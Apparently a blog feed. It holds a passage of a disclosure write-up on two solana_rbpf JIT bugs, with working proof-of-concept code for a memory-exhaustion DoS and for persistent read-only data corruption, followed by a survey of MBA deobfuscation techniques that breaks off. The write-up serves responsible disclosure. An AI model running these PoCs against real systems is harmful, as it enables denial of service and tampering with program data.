    • this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
    • our meter updates here
  3. set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
  4. calls a nonexistent function
    • the nonexistent function should trigger an unknown symbol error, but that doesn’t happen because our meter updates here and emits a max instructions exceeded error

However, based on the original order of the instructions, what happens in the call is the following:

  1. invoke the call, which fails because the symbol is unresolved
  2. to report the unresolved symbol, we invoke that report_unresolved_symbol function, which returns the name of the symbol invoked (or “Unknown”) in a heap-allocated string
  3. the pc is updated
  4. the instruction count is validated, which overwrites the unresolved symbol error and terminates execution

Because the unresolved symbol error is merely overwritten, the value is never passed to the Rust code which invoked the JIT program. As a result, the reference to the heap-allocated String is lost and never dropped. Thus: any pointer to that heap allocation is lost and will never be freed, leading to the leak.

That being said, the leak is only seven bytes per execution of the program. Without causing a larger leak, this isn’t particularly exploitable.

Weaponisation

Let’s take a closer look at report_unresolved_symbol.

report_unresolved_symbol source
pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64, EbpfError<E>> {
    let file_offset = insn_offset
        .saturating_mul(ebpf::INSN_SIZE)
        .saturating_add(self.text_section_info.offset_range.start as usize);

    let mut name = "Unknown";
    if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
        for relocation in &elf.dynrels {
            match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
                Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
                    if relocation.r_offset as usize == file_offset {
                        let sym = elf
                            .dynsyms
                            .get(relocation.r_sym)
                            .ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
                        name = elf
                            .dynstrtab
                            .get_at(sym.st_name)
                            .ok_or(ElfError::UnknownSymbol(sym.st_name))?;
                    }
                }
                _ => (),
            }
        }
    }
    Err(ElfError::UnresolvedSymbol(
        name.to_string(),
        file_offset
            .checked_div(ebpf::INSN_SIZE)
            .and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
            .unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
        file_offset,
    )
    .into())
}

Note how the name is the string which becomes heap allocated. The value of the name is determined by a relocation lookup in the ELF, which we can actually control if we compile our own malicious ELF. Even though the fuzzer only tests the JIT operations, one of the intended ways to load a BPF program is as an ELF, so it seems like something that would certainly be in scope.

Crafting the malicious ELF

To create an unresolved relocation in BPF, it’s actually quite simple. We just need to create a function with a very, very long name that isn’t actually defined, only declared. To do so, I created two files to craft the malicious ELF:

evil.h

evil.h is far too large to post here, as it has a function name that is approximately a mebibyte long. Instead, it was generated with the following bash command.

$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})

void EVIL();
" > evil.h
evil.c
#include "evil.h"

void entrypoint() {
  asm("	goto +0\n"
      "	r0 = 0\n");
  EVIL();
}

Note that goto +0 is used here because we’ll use a specialised instruction meter that only can do two instructions.

Finally, we’ll also make a Rust program to load and execute this ELF just to make sure the maintainers are able to replicate the issue.

elf-memleak.rs

You won’t be able to use this particular example anymore as rBPF has changed a lot of its API since the time this was created. However, you can check out version v0.22.21, which this exploit was crafted for.

Note in particular the use of an instruction meter with two remaining.

use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;

use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};

use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;

fn main() {
    let mut file = File::open("tests/elfs/evil.so").unwrap();
    let mut elf = Vec::new();
    file.read_to_end(&mut elf).unwrap();
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut syscall_registry = SyscallRegistry::default();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        for _ in 0.. {
            let mut jit_mem = [0; 65536];
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 2 };
            jit_vm.execute_program_jit(&mut jit_meter).ok();
        }
    }
}

With our malicious ELF that has a function name that’s a mebibyte long, the report_unresolved_symbol will set that name variable to the long function name. As a result, the allocated string will leak a whole mebibyte of memory per execution rather than the measly seven bytes. When performed in this loop, the entire system’s memory will be exhausted in mere moments.

Reporting

Okay, so now that we’ve crafted the exploit, we should probably report it to the vendor.

A quick Google later and we find the Solana security policy. Scrolling through, it says:

DO NOT CREATE AN ISSUE to report a security problem. Instead, please send an email to [email protected] and provide your github username so we can add you to a new draft security advisory for further discussion.

Okay, reasonable enough. Looks like they have bug bounties too!

DoS Attacks: $100,000 USD in locked SOL tokens (locked for 12 months)

Woah. I was working on rBPF out of curiosity, but it seems that there’s quite a bounty made available here.

I sent in my bug report via email on January 31st, and, within just three hours, Solana acknowledged the bug. Below is the report as submitted to Solana:

Report for bug 1 as submitted to Solana

There is a resource exhaustion vulnerability in solana_rbpf (specifically in src/jit.rs) which affects JIT-compiled eBPF programs (both ELF and insn_builder programs). An adversary with the ability to load and execute eBPF programs may be able to exhaust memory resources for the program executing solana_rbpf JIT-compiled programs.

The vulnerability is introduced by the JIT compiler’s emission of an unresolved symbol error when attempting to call an unknown hash after exceeding the instruction meter limit. The rust call emitted to Executable::report_unresolved_symbol allocates a string (“Unknown”, or the relocation symbol associated with the call) using .to_string(), which performs a heap allocation. However, because the rust call completes with an instruction meter subtraction and check, the check causes the early termination of the program with Err(ExceededMaxInstructions(_, _)). As a result, the reference to the error which contains the string is lost and thus the string is never dropped, leading to a heap memory leak.

The following eBPF program demonstrates the vulnerability:

entrypoint:
    goto +0
    r0 = 0
    call -1

where the tail call’s immediate argument represents an unknown hash (this can be compiled directly, but not disassembled) and with a instruction meter set to 2 instructions remaining.

The optimisation used in jit.rs to only update the instruction meter is triggered after the ja instruction, and subsequently the mov64 instruction does not update the instruction meter despite the fact that it should prevent further execution here. The call instruction then performs a lookup for the non-existent symbol, leading to the execution of Executable::report_unresolved_symbol which performs the allocation. The call completes and updates the instruction meter again, now emitting the ExceededMaxInstructions error instead and losing the reference to the heap-allocated string.

While the leak in this example is only 7 bytes per error emitted (as the symbol string loaded is “Unknown”), one could craft an ELF with an arbitrarily sized relocation entry pointing to the call’s offset, causing a much faster exhaustion of memory resources. Such an example is attached with source code. I was able to exhaust all memory on my machine within a few seconds by simply repeatedly jit-executing this binary. A larger relocation entry could be crafted, but I think the example provided makes the vulnerability quite clear.

Attached is a Rust file (elf-memleak.rs) which may be placed within the examples/ directory of solana_rbpf in order to test the evil.{c,h,so} provided. It is highly recommend to run this for a short period of time and cancelling it quickly, as it quickly exhausts memory resources for the operating system.

Additionally, one could theoretically trigger this behaviour in programs not loaded by the attacker by sending crafted payloads which cause this meter misbehaviour. However, this is unlikely because one would also need to submit such a payload to a target which has an unresolved symbol.

For these reasons, I propose that this bug be classified under DoS Attacks (Non-RPC).

Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k.

Bug 2: Persistent .rodata corruption

The second bug I reported was easy to find, but difficult to diagnose. While the bug occurred with high frequency, it was unclear as to what exactly what caused the bug. Past that, was it even exploitable or useful?

Initial Investigation

The input that triggered the crash disassembles to the following assembly:

entrypoint:
    or32 r9, -1
    mov32 r1, -1
    stxh [r9+0x1], r0
    exit

The crash type triggered was a difference in JIT vs interpreter exit state; JIT terminated with Ok(0), whereas interpreter terminated with:

Err(AccessViolation(31, Store, 4294967296, 2, "program"))

Spicy stuff. Looks like our JIT implementation has some form of out-of-bounds write. Let’s investigate a bit further.

The first thing of note is the access violation’s address: 4294967296. In other words, 0x100000000. Looking at the Solana documentation, we see that this address corresponds to program code. Are we writing to JIT’d code??

The answer, dear reader, is unfortunately no. As exciting as the prospect of arbitrary code execution might be, this actually refers to the BPF program code – more specifically, it refers to the read-only data present in the ELF provided. Regardless, it is writing to a immutable reference to a Vec somewhere that represents the program code, which is supposed to be read-only.

So why isn’t it?

The curse of x86

Let’s make our payload more clear and execute directly, then pop it into gdb to see exactly what code the JIT compiler is generating. I used the following program to test for OOB write:

oob-write.rs

This code likely no longer works due to changes in the API of rBPF changing in recent releases. Try it in examples/ in v0.2.22, where the vulnerability is still present.

use std::collections::BTreeMap;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        Arch,
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
        Source,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::InstructionMeter;

fn dump_insns<E: UserDefinedError, I: InstructionMeter>(executable: &Executable<E, I>) {
    let analysis = Analysis::from_executable(executable);
    // eprint!("Using the following disassembly");
    analysis.disassemble(&mut std::io::stdout()).unwrap();
}

fn main() {
    let config = Config::default();
    let mut code = BpfCode::default();
    let mut jit_mem = Vec::new();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", false).unwrap();
    code
        .load(MemSize::DoubleWord).set_dst(9).push()
        .load(MemSize::Word).set_imm(1).push()
        .store_x(MemSize::HalfWord).set_dst(9).set_off(0).set_src(0).push()
        .exit().push();
    let mut prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    dump_insns(&executable);
    let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
    let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
    let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
    if let Ok(_) = jit_res {
        eprintln!("{} => {:?} ({:?})", 0, jit_res, &jit_mem);
    }
}

This just sets up and executes the following BPF assembly:

entrypoint:
    lddw r9, 0x100000000
    stxh [r9+0x0], r0
    exit

This assembly simply writes a 0 to 0x100000000.

For the next part: please, for the love of god, use GEF.

$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤  break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤  run
gef➤  print self.executable.ro_section.buf.ptr.pointer 
gef➤  awatch *$1 # break if we modify the readonly section
gef➤  record full # set up for reverse execution
gef➤  continue

After that last continue, we effectively execute until we hit the write access to our read-only section. Additionally, we can step backwards in the program until we find our faulty behaviour.

The watched memory is written to as a result of this X86 store instruction (as a reminder, we this is the branch for stxh). Seeing this emit_address_translation call above it, we can determine that that function likely handles the address translation and readonly checks.

Further inspection shows that emit_address_translation actually emits a call to… something:

emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;

Okay, so this is some kind of global offset for this JIT program to translate the memory address. By searching for TARGET_PC_TRANSLATE_MEMORY_ADDRESS elsewhere in the program, we find a loop which initialises different kinds of memory translations.

Scrolling through this, we find our access check:

X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0

Okay – so the x86 cmp instruction to find is one that uses a destination of [rax+0x19]. A couple rsi later to find such an instruction and we find:

cmp    DWORD PTR [rax+0x19], 0x0

Which is, notably, not using an 8-bit operand as the cmp_immediate call suggests. So what’s going on here?

x86 cmp operand size woes

Here is the definition of X86Instruction::cmp_immediate:

pub fn cmp_immediate(
    size: OperandSize,
    destination: u8,
    immediate: i64,
    indirect: Option<X86IndirectAccess>,
) -> Self {
    Self {
        size,
        opcode: 0x81,
        first_operand: RDI,
        second_operand: destination,
        immediate_size: OperandSize::S32,
        immediate,
        indirect,
        ..Self::default()
    }
}

This creates an x86 instruction with the opcode 0x81. Inspecting closer and cross-referencing with an x86-64 opcode reference, you can find that opcode 0x81 is only defined for 16-, 32-, and 64-bit register operands. If you want to use an 8-bit register operand, you’ll need to use the 0x80 opcode variant.

This is precisely the patch applied.

A quick side note about testing code with different compilers

This bug actually was a bit weirder than it seems at first. Due to differences in Rust struct padding between versions, at the time that I reported the bug, the difference was spurious in stable release. As a result, it’s quite likely that no one would have noticed the bug until the next Rust release version.

From my report:

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

Proof of concept

Alright, now to create a PoC so that the people inspecting the bug can validate it. Like last time, we’ll create an ELF, along with a few different demonstrations of the effects of the bug. Specifically, we want to demonstrate that read-only values in the BPF target can be modified persistently, as our writes affect the executable and thus all future executions of the JIT program.

value_in_ro.c

This program should fail, as the data to be overwritten should be read-only. It will be executed by howdy.rs.

typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
howdy.rs

This program loads the compiled version of value_in_ro.c and attaches a log syscall so that we can see the behaviour internally. I confirmed that this syscall did not affect the runtime behaviour.

use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

This program, when executed, has the following output:

howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!

These first two files demonstrate the ability to overwrite the readonly data present in binaries persistently. Notice that we actually execute the JIT’d code multiple times, yet our changes to the value in data are persistent.

Implications

Suppose that there was a faulty offset or a user-controlled offset present in a BPF-based on-chain program. A malicious user could modify the readonly data of the program to replace certain contexts. In the best case scenario, this might lead to DoS of the program. In the worst case, this could lead to the replacement of fund amounts, of wallet addresses, etc.

Reporting

Having assembled my proof-of-concepts, my implications, and so on, I sent in the following report to Solana on February 4th:

Report for bug 2 as submitted to Solana

An incorrectly sized memory operand emitted by src/jit.rs:1490 may lead to .rodata section corruption due to an incorrect is_writable check. The cmp emitted is cmp DWORD PTR [rax+0x19], 0x0. As a result, when the uninitialised data present in the field padding of MemoryRegion is non-zero, the comparison will fail and assume that the section is writable. The data which is overwritten is persistent during the lifetime of the Executable instance as the data overwritten is in Executable.ro_section and thus affects future executions of the program without recompilation.

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

The first attack scenario where this vulnerability may be leveraged is in corruption of believed read-only data; see value_in_ro.{c,so} (intended to be placed within tests/elfs/) as an example of this behaviour. The example provided is contrived, but in scenarios where BPF programs do not correctly sanitise offsets in input, it may be possible for remote attackers to craft payloads which corrupt data within the .rodata section and thus replace secrets, operational data, etc. In the worst case, this may include replacement of critical data such as fixed wallet addresses for the lifetime of the Executable instance, which may be many executions. To test this behaviour, refer to howdy.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

The second attack scenario is in corruption of BPF source code, which poisons future analysis and compilation. In the worst case (which is probably not a valid scenario), if the Executable is erroneously JIT compiled a second time after being executed in JIT once, the JIT compilation may emit unchecked BPF instructions as the verifier used in from_elf/from_text_bytes is not used per-compilation. Analysis and tracing is similarly corrupted, which may be leveraged to obscure or misrepresent the instructions which were previously executed. An example of the latter is provided in analysis-corruption.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

While this vulnerability is largely uncategorised by the security policy provided, due to the possibility of the corruption of believed read-only data, I propose that this vulnerability be categorised under Other Attacks or Safety Violations.

value_in_ro.c (.so available upon request)
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
analysis-corruption.rs
use std::collections::BTreeMap;

use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
    let mut code = BpfCode::default();
    code
        .load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
        .load(MemSize::Word).set_imm(1).push()
        .store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
        .exit().push();
    let prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    let jit_res = {
        let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
        let res = jit_vm.execute_program_jit(&mut jit_meter);
        let jit_tracer = jit_vm.get_tracer();
        let analysis = Analysis::from_executable(&executable);
        let stderr = std::io::stderr();
        jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
        res
    };
    eprintln!("{} => {:?}", 1, jit_res);
}
howdy.rs
use std::fs::File;
use std::io::Read;

use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

The bug was patched in a mere 4 hours.

Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k. I disagreed strongly with this classification, but Solana said that due to the low likelihood of the exploitation of this bug (requiring a vulnerability in the on-chain program) they would offer $100k instead of the originally suggested $1m or $400k. They would not move on this point.

However, I would offer that (was that the actually basis for bug classification) that they should update their Security Policy to reflect that meaning. It was obviously very disappointing to hear that they would not be offering the bounty I expected given the classification categories provided.

Okay, so what’d you do with the money??

It would be bad form of me to not explain the incredible flexibility shown by Solana in terms of how they handled my payout. I intended to donate the funds to the Texas A&M Cybersecurity Club, at which I gained a lot of the skills necessary to perform this research and these exploits, and Solana was very willing to sidestep their listed policy and donate the funds directly in USD rather than making me handle the tokens on my own, which would have dramatically affected how much I could have donated due to tax. So, despite my concerns regarding their policy, I was very pleased with their willingness to accommodate my wishes with the bounty payout.

Improving MBA Deobfuscation using Equality Saturation

8 August 2022 at 23:00

This blog post will first give a brief overview of obfuscation based on Mixed-Boolean-Arithmetic (MBA), how it has historically been attacked and what are the known limitations. The main focus will then shift to an extension of the oracle-based synthesis approach, detailing how combining program synthesis with the equality saturation technique produces significantly more simplification opportunities. Finally, a set of examples spanning from different MBA categories over unsolved limitations up to future work ideas will hopefully serve as food for thoughts to the reader. Across the post, references to existing research are provided to delve into additional details and deepen the understanding of the topics.

Mixed-Boolean-Arithmetic Obfuscation

Mixed-Boolean-Arithmetic Obfuscation is a technique which represents an expression to be concealed in a semantically equivalent, but syntactically more complex form. For example, the expression x + y, can be rewritten as (x ^ y) + 2 * (x & y), effectively making its behaviour harder to comprehend.

Commonly, such MBAs can be found in advanced malware samples and real-world DRM systems, belonging to the strongest-known code obfuscation techniques. However, in recent years, various attacks have been developed; the next section will provide a brief overview of their strengths and limitations.

Common Attacks and Shortcomings

Several attacks have been published since the release of the original papers on Mixed-Boolean-Arithmetic Obfuscation 1, 2. While initial tools, like SSPAM, simplified MBAs via pattern matching, more sophisticated approaches rely on algebraic simplifications, machine learning or program synthesis. As of late, some methods also cleverly abuse intrinsic properties of certain sub-classes of MBAs.

Algebraic Attacks

Arybo makes use of the bit-blasting technique to convert a word-level expression into a bit-level representation—where each bit of the output is independently computed—and proceeds with applying boolean algebraic simplifications to obtain a shrinked version of the input expression. While extremely powerful, the idea falls short when the bit-blasting step has to handle big symbolic multiplications. Another issue is related to the fact that a human analyst may expect an easier-to-read word-level expression as output, while this may not be the case when processing instruction sequences with non-trivial semantics.

Worth mentioning are the ad-hoc algebraic attacks on the permutation polynomial MBA expressions devised by Ninon Eyrolles 3 and Biondi et al. 4. While attractive, the scope of both approaches is limited to the deobfuscation of a constant and is strongly dependent on the MBA generation process.

Stochastic Program Synthesis

Approaches like Stoke, Syntia and its extension Xyntia are based on methods which are known as stochastic program synthesis: They handle the expression simplification as a stochastic optimization problem. Their idea is to represent the obfuscated program as a vector of I/O pairs and learn an expression which has the same I/O behaviour. To achieve this, these approaches use a grammar to generate and mutate small expressions and combine this with a cost function which guides the search towards expressions with the same behaviour.

While stochastic synthesis works well to simplify semantically easy expressions, it has a hard time in finding more complex ones. Since these approaches also cannot simplify sub-expressions in an MBA, they are not successful in some of the semantically more complex cases that can be found in the wild.

Synthesis-based Expression Simplification

As a consequence, new methods have been introduced which re-use some program synthesis concepts, while also being able to simplify partial expressions. These methods can be described as synthesis-based expression simplification and have been introduced by Robin David et al. as QSynthesis. The open source projects QSynthesis and msynth are representatives of this technique.

Once a symbolic execution of the MBA is performed, the techniques represent the MBA as an abstract syntax tree (AST). Then, using a precomputed database (so-called oracle) which maps I/O behaviours to expressions, a divide-and-conquer strategy is adopted: The I/O behaviour of each sub-expression is evaluated and, when possible, sub-expressions are replaced by shorter representations from the database.

These approaches are the most generic to date. However, processing a unique representation of the MBA expression, they often miss synthesis opportunities that would otherwise lead to better results. A common example are sub-expressions that, if combined, would cancel out, but are too far away in the AST to be discovered by the technique.

Drill&Join

Drill&Join is a lesser known approach which strives to achieve exact inductive program synthesis of Boolean expressions. It has been repurposed by Biondi et al. to weaken opaque predicates protected via MBA obfuscation.

As with Arybo, the attack is particularly suitable if the expression needs to be processed by an SMT solver; however, also in this case, a bit-level output may not be appealing to a human analyst. Another major limitation mentioned in the paper is related to the improper support for expressions behaving as a point function (e.g. mathematical functions that show a certain behaviour for exactly one specific input).

MBA-Blast

MBA-Blast, and soon after MBA-Solver, provided the community with the first fully algebraic attack abusing properties of the main theorem to build linear MBA expressions. The authors devised a process to normalize the input MBA expression and are able to shrink them via basic algebraic simplifications.

The approach, while in its infancy, proved how reusing knowledge of the problem can be extremely effective; extensions to it are to be expected. The major limitation is to be found in the lack of support of expressions that cannot be trivially converted from word-level to bit-level, such as non-linear or polynomial MBAs.

Souper

Souper is a synthesizing superoptimizer for LLVM-IR that provides an implementation of exhaustive synthesis and CounterExample-Guided Inductive Synthesis (CEGIS). Worth noting are the attempts to synthesize big constants either via harvesting from the original expression or employing the CEGIS component to materialize them. Its current major limitation is the scalability on semantically complex instruction sequences.

NeuReduce

NeuReduce is a string-to-string method based on neural networks to automatically learn and reduce complex MBA expressions. A strong limitation of the approach is its inability to generalize to MBA expressions which are built using rewriting rules not part of the training set. In real-world scenarios, the used rewriting rules would also be hard to collect.

QSynthesis Limitations and Improvements

In the remaining parts of this post, we’ll delve into known QSynthesis limitations and explore ways to tackle them. We will especially take advantage of the fact that, having full access to the AST of the expression, enables the combination of information coming from both the syntactical and semantical worlds. Hence, the expression to simplify is assumed to be available to the attacker in the form of an assembly or intermediate representation.

QSynthesis Example

The following images, adapted from the original publication, exemplify the step-by-step exploration and synthesis procedure used by QSynthesis. Even though the updated version presented at Black Hat 2021 provides an improved exploration strategy, the main simplification steps are the same and their understanding is fundamental to grasp further extensions.

In the offline phase of the attack, the so-called oracle is computed using a grammar with simple constants, symbolic variables and n-ary operations:

  1. A set of M concrete values associated to the symbolic variables is randomly generated;
  2. Expressions of increasing complexity are obtained from the grammar, their I/O behaviour is calculated and the output vector, of size N, is mapped to an hash;
  3. Each hash and expression tuple is saved in the oracle, preserving the smallest expression in case a collision is found (e.g. the expressions A, A & A, A | A are equivalent).

The explanation of the online phase of the attack, assuming the availability of the precomputed oracle, follows. Furthermore, a top-down bottom-up placeholder-based exploration strategy is assumed to be driving the identification of the synthesizable sub-expressions.

In the next image, the sub-tree highlighted in red is deemed synthesizable by the oracle and associated to the smaller expression (A + B). An intermediate variable (V1) is created and substituted in the AST in place of all the sub-trees identical to the one that just got synthesized.

QSynthesis 0

In the left image, the now updated AST—with the placeholder nodes highlighted in blue—turns also out to be synthesizable, matching the behaviour of the smaller expression (A ^ V1). Once again, an intermediate variable (V2) is created and replaced in the AST. The right image shows the updated AST, which cannot be simplified any further.

QSynthesis 1 QSynthesis 2

The following images represent the intermediate variables (V1, V2) generated after a successful sub-tree synthesis and their simplified expansions, highlighted in green.

QSynthesis 3 QSynthesis 4

Starting from the fully updated AST—just containing the V2 node—we can expand the intermediate variables in reverse order, obtaining the fully synthesized AST depicted below.

QSynthesis 5

The official publications explain the two phases in greater details, so we highly suggest checking them out to gather a better understanding of the idea.

Locality Issues

The reliance on a unique syntactical representation of the input expression raises some less documented—but nonetheless important—shortcomings, which are here referred to as locality issues. For example, when an expression contains a large chain of additions, it may happen that the AST exploration algorithm completely misses valid synthesis opportunities, as some useful nodes are too far apart in the tree. Unluckily, the problem is not limited to addition chains; in fact, all operations with commutativity and associativity properties are affected.

This limitation becomes more apparent when handling MBAs where the terms replaced by more complex linear combinations are interleaved with each other or when a polynomial encoding is involved, scattering related nodes all over the obfuscated expression.

For example, consider the AST of the following expression (5*(A ^ B)) + (A & B), where the red/blue nodes represent the left/right addition operands.

AST 0

After applying the rewriting rules (x^y) = (~x|y)+(x&~y)-~(x^y) and (x&y) = (x|y)-(~x&y)-(x&~y), we obtain the following updated AST, which is easily handled by QSynthesis. In fact, the strictly related sub-trees—of the same colour—are locally next to each other, readily synthesizable by the oracle. The red/blue nodes now represent the obfuscated left/right addition operands, while the white nodes represent a chain of additions.

AST 1

Shuffling the terms which are part of the chain of additions, we reduce the synthesis opportunities, hindering the QSynthesis exploration algorithm to produce the best solution; in the end, we obtain only a partial simplification. This is due to the fact that now the strictly related sub-trees are not in local vicinity anymore.

AST 2

Constants Support

The original publication ignored the problem of synthesizing constants altogether and the idea of deriving them with an SMT solver was deemed too time consuming. However, the updated version mentions how some concrete values can be obtained preprocessing the expression with SymPy or by inserting simple constants during the oracle generation process.

The current open-source implementation details the possibility to synthesize nodes yielding a single constant; even though, the authors do not elaborate any further on the improvements due to the inclusion of concrete values in the database.

Attacks Combination

Some of the attacks mentioned in the previous chapter are orthogonal to QSynthesis, meaning that existing research can be successfully combined without loss of generality:

  • MBA-Blast can be used to simplify linear sub-expressions before proceeding with the oracle-based synthesis, enabling better support to non-linear or polynomial MBAs;
  • CEGIS can be used to synthesize sub-expressions that do not match the precomputed oracle and may possibly contain constants.

Before describing how another technique from the program analysis world, namely Equality Saturation, paves the way to even more powerful attacks, we demonstrate what a combined approach for constant synthesis may look like.

Templated Constants Synthesis

What follows is an attempt at combining oracle-based synthesis and CEGIS to increase the chance of simplifying a sub-expression involving constants.

